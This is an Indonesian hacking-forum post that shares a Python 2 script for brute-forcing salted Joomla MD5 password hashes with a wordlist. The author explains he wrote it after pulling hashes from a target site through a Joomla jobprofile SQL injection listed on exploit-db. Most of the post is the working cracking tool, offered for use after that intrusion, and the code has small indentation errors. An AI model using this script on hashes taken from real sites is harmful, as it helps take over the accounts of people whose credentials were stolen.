[nasa$]

gara-gara penasaran ma joomla vulnerable yang ada di exploit-db.com
Joomla jobprofile sql Injection
trus berhasil nemuin target, tapi bingung nyari md5 decrypter di google.. akhir'y terciptalah script yang sederhana dan banyak kekurangan ini...

script ini berguna untuk mem- brute force password joomla yang di enkripsi menggunakan wordlist...

Code:

#!/usr/bin/python
# joomla hash brute force by nasa
# thanks buat IBTeam
# visit http://forum.indonesianbacktrack.or.id



from hashlib import md5
import sys
import string
import binascii, re
import time


print '''
___ ____ _____  
|_ _| __ )_   _|__  __ _ _ __ ___  
| ||  _ \ | |/ _ \/ _` | '_ ` _ \
| || |_) || |  __/ (_| | | | | | |
|___|____/ |_|\___|\__,_|_| |_| |_|  joomla hash cracker !
__________________________________________________________                    
Http://forum.indonesianbacktrack.or.id            by nasa



[*] Starting joomla hash cracker at ''' + time.ctime() + ''' \n\n '''

time.sleep(1)

if len(sys.argv) != 3:
    print 'Error !!'
        print 'Usage: ' + sys.argv[0] + ' <hash:salt> <wordlist>'
        sys.exit(1)

else:
    _hash = sys.argv[1].split(':')
    _md5 = _hash[0]
    _salt = _hash[1]

    f = open(sys.argv[2], 'r')
    for line in f:
        kata = re.sub(r'\W+', '',line)
        crack = md5(kata + _salt).hexdigest()
        print ' [*] Cracking ' + _md5 + ':' + _salt + ' With : ' + kata
        if(crack == _md5):
            print '\n'
            print ' [+] ' + _md5 + ':' + _salt + ' --- Password found: ' + kata
            print ' Viva la Backtrack, by IBTeam !'
            sys.exit(0)
    print '\n'
    print ' [*] No word match, never give up'
    print ' [*] try other wordlist : - ('    
    sys.exit(1)

save dengan extensi .py lalu chmod +x
ss :

download di pastebin

thx...

nb :
web yg jadi inspirasi :
sql injection